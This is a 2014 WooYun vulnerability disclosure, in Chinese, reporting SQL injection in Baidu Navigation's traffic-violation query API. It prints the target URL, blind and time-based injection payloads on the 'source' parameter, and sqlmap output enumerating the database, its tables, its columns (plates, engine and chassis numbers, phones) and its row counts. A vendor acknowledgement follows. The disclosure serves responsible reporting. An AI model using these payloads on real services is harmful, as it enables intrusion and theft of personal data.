当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065636

漏洞标题:百度导航违章查询SQL注入大量车辆信息泄露

相关厂商:百度

漏洞作者: Neeke

提交时间:2014-06-21 00:24

修复时间:2014-08-05 00:24

公开时间:2014-08-05 00:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-21: 细节已通知厂商并且等待厂商处理中
2014-06-21: 厂商已经确认,细节仅向厂商公开
2014-07-01: 细节向核心白帽子及相关领域专家公开
2014-07-11: 细节向普通白帽子公开
2014-07-21: 细节向实习白帽子公开
2014-08-05: 细节向公众公开

简要描述:

经常用百度导航,今天发现有个违章查询,于是抓了一下包。

详细说明:

看下面(车牌号和发动机号我修改掉了)↓
http://app.navi.baidu.com/peccancy/search?citys=SX_XA&rn=100&source=1&registno&engineno&pk_id=719684&carno=车牌号&pn=0&classno=车架号&type=2

漏洞证明:

sqlmap identified the following injection points with a total of 125 HTTP(s) requests:
---
Place: GET
Parameter: source
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: citys=SX_XA&rn=100&source=1 AND 2018=2018&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: citys=SX_XA&rn=100&source=1 AND SLEEP(5)&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: source
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: citys=SX_XA&rn=100&source=1 AND 2018=2018&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: citys=SX_XA&rn=100&source=1 AND SLEEP(5)&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current user: 'naviapp_plugin_w@10.22.14/23\x0c'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: source
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: citys=SX_XA&rn=100&source=1 AND 2018=2018&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: citys=SX_XA&rn=100&source=1 AND SLEEP(5)&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current database: 'naviapp_plugin'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: source
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: citys=SX_XA&rn=100&source=1 AND 2018=2018&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: citys=SX_XA&rn=100&source=1 AND SLEEP(5)&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
Database: naviapp_plugin
[5 tables]
+--------------------+
| peccancy_car |
| peccancy_info |
| plugin_tbl |
| plugin_version_tbl |
| update_version_tbl |
+--------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: source
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: citys=SX_XA&rn=100&source=1 AND 2018=2018&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: citys=SX_XA&rn=100&source=1 AND SLEEP(5)&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
Database: naviapp_plugin
Table: peccancy_car
[14 columns]
+-------------+--------------+
| Column | Type |
+-------------+--------------+
| carno | varchar(11) |
| citys | varchar(200) |
| classno | varchar(20) |
| cuid | varchar(50) |
| engineno | varchar(20) |
| os | int(11) |
| phone | varchar(15) |
| pk_id | bigint(11) |
| registno | varchar(20) |
| source | int(11) |
| type | tinyint(2) |
| uid | int(11) |
| update_time | datetime |
| valid | binary(1) |
+-------------+--------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: source
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: citys=SX_XA&rn=100&source=1 AND 2018=2018&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: citys=SX_XA&rn=100&source=1 AND SLEEP(5)&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
Database: naviapp_plugin
+--------------+---------+
| Table | Entries |
+--------------+---------+
| peccancy_car | 792957 |
+--------------+---------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: source
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: citys=SX_XA&rn=100&source=1 AND 2018=2018&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: citys=SX_XA&rn=100&source=1 AND SLEEP(5)&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
Database: naviapp_plugin
+---------------+---------+
| Table | Entries |
+---------------+---------+
| peccancy_info | 532137 |
+---------------+---------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: source
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: citys=SX_XA&rn=100&source=1 AND 2018=2018&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: citys=SX_XA&rn=100&source=1 AND SLEEP(5)&registno&engineno&pk_id=719684&carno=%E9%99%95AEE000&pn=0&classno=LSGJSfh734H013708&type=2
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
Database: naviapp_plugin
Table: peccancy_info
[17 columns]
+-------------+--------------+
| Column | Type |
+-------------+--------------+
| date | datetime |
| cid | int(11) |
| city | varchar(15) |
| code | varchar(11) |
| content | varchar(200) |
| create_time | datetime |
| isclose | binary(1) |
| latitude | varchar(20) |
| longitude | varchar(20) |
| money | float(7,1) |
| number | int(11) |
| pk_id | bigint(11) |
| place | varchar(200) |
| score | int(3) |
| source | int(11) |
| unique_code | varchar(50) |
| update_time | datetime |
+-------------+--------------+

修复方案:

你懂的

版权声明:转载请注明来源 Neeke@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-21 19:28

厂商回复:

感谢对百度安全的支持。我们已联系业务部门处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-06-21 03:04 | Arthur ( 实习白帽子 | Rank:77 漏洞数:33 | USA,I am coming!!!!!)

    就那么简单的描述.......完全给暴露了....

  2. 2014-06-21 15:47 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)

    20WB到手

  3. 2014-12-25 10:12 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    支持